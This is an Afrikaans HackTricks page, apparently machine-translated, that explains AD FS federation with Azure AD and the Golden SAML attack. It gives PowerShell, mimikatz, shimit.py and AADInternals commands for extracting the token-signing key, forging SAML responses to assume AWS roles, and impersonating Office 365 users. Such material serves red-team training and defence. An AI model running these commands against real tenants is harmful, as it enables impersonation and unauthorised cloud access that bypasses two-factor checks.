Az - Federation

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Basiese Inligting

Van die dokumentasie:

Federasie is ’n versameling van domeine wat vertroue gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies verifikasie in en sluit byna altyd autorisering in. ’n Tipiese federasie kan ’n aantal organisasies insluit wat vertroue gevestig het vir gedeelde toegang tot ’n stel hulpbronne. Jy kan jou on-premises omgewing met Azure AD federate en hierdie federasie gebruik vir verifikasie en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker verifikasie plaasvind op-premises. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met AD FS en PingFederate is beskikbaar.

Basies, in Federasie, vind alle verifikasie plaas in die on-prem omgewing en die gebruiker ervaar SSO oor al die vertroude omgewings. Daarom kan gebruikers toegang tot cloud toepassings verkry deur hul on-prem kredensiale te gebruik.

Security Assertion Markup Language (SAML) word gebruik vir uitruiling van alle verifikasie en autorisering inligting tussen die verskaffers.

In enige federasie-opstelling is daar drie partye:

  • Gebruiker of Kliënt
  • Identiteitsverskaffer (IdP)
  • Diensverskaffer (SP)
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
  1. Aanvanklik word ’n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur ’n gebruiker toegang verkry. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
  2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker verifikasie. Dit stel dan ’n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
  3. Die IdP neem oor, wat die gebruiker verifieer. Na verifikasie word ’n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
  4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat ’n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.

As jy meer wil leer oor SAML-verifikasie en algemene aanvalle, gaan na:

SAML Attacks - HackTricks

Pivoting

  • AD FS is ’n eise-gebaseerde identiteitsmodel.
  • “..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die internet geleë is, te autoriseer.”
  • Eise vir ’n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.
  • ’n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor.
  • Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker.
  • Meer inligting in https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims

Goue SAML-aanval:

Goue SAML

Die proses waar ’n Identiteitsverskaffer (IdP) ’n SAMLResponse produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die antwoord onderteken of geënkripteer word met die IdP se privaat sleutel. Hierdie prosedure stel die Diensverskaffer (SP) in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur ’n vertroude IdP uitgereik is.

’n Parallel kan getrek word met die goue kaart aanval, waar die sleutel wat die gebruiker se identiteit en regte verifieer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om ’n verifikasie objek (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te boots, wat ongeautoriseerde toegang tot die SP verleen.

Goue SAMLs bied sekere voordele:

  • Hulle kan afgele word, sonder die behoefte om deel van die domein of federasie in kwestie te wees.
  • Hulle bly effektief selfs met Twee-Faktor Verifikasie (2FA) geaktiveer.
  • Die token-ondertekenings privaat sleutel hernu nie outomaties nie.
  • Die verandering van ’n gebruiker se wagwoord maak nie ’n reeds gegenereerde SAML ongeldig nie.

AWS + AD FS + Goue SAML

Active Directory Federation Services (AD FS) is ’n Microsoft diens wat die veilige uitruiling van identiteitsinligting tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese ’n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne ’n federasie te deel.

Met AWS wat die gecompromitteerde domein vertrou (in ’n federasie), kan hierdie kwesbaarheid benut word om potensieel enige regte in die AWS-omgewing te verkry. Die aanval vereis die privaat sleutel wat gebruik word om die SAML-objekte te onderteken, soortgelyk aan die behoefte aan die KRBTGT in ’n goue kaart aanval. Toegang tot die AD FS-gebruikersrekening is voldoende om hierdie privaat sleutel te verkry.

Die vereistes om ’n goue SAML-aanval uit te voer sluit in:

  • Token-ondertekenings privaat sleutel
  • IdP publieke sertifikaat
  • IdP naam
  • Rolnaam (rol om aan te neem)
  • Domein\gebruikersnaam
  • Rol sessienaam in AWS
  • Amazon rekening ID

Slegs die items in vet is verpligtend. Die ander kan na wens ingevul word.

Om die privaat sleutel te verkry, is toegang tot die AD FS-gebruikersrekening nodig. Van daar kan die privaat sleutel uit die persoonlike winkel onttrek word met behulp van gereedskap soos mimikatz. Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:

# From an "AD FS" session
# After having exported the key with mimikatz

# ADFS Public Certificate
[System.Convert]::ToBase64String($cer.rawdata)

# IdP Name
(Get-ADFSProperties).Identifier.AbsoluteUri

# Role Name
(Get-ADFSRelyingPartyTrust).IssuanceTransformRule

Met al die inligting is dit moontlik om ’n geldige SAMLResponse te vergeet as die gebruiker wat jy wil naboots met behulp van shimit:

# Apply session for AWS cli
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012
# idp - Identity Provider URL e.g. http://server.domain.com/adfs/services/trust
# pk - Private key file full path (pem format)
# c - Certificate file full path (pem format)
# u - User and domain name e.g. domain\username (use \ or quotes in *nix)
# n - Session name in AWS
# r - Desired roles in AWS. Supports Multiple roles, the first one specified will be assumed.
# id - AWS account id e.g. 123456789012

# Save SAMLResponse to file
python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file -u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps
https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps

Op-prem -> wolk

# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity <username> | select -ExpandProperty ObjectGUID).tobytearray())

# On AD FS server execute as administrator
Get-AdfsProperties | select identifier

# When setting up the AD FS using Azure AD Connect, there is a difference between IssueURI on ADFS server and Azure AD.
# You need to use the one from AzureAD.
# Therefore, check the IssuerURI from Azure AD too (Use MSOL module and need GA privs)
Get-MsolDomainFederationSettings -DomainName deffin.com | select IssuerUri

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate a user to to access cloud apps
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose

Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots.

# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="

# Extract the ADFS token signing certificate from the ADFS server using AADInternals
Export-AADIntADFSSigningCertificate

# Impersonate the user
Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Desktop\ADFSSigningCertificate.pfx -Verbose

Verwysings

Tip

Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Leer & oefen Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks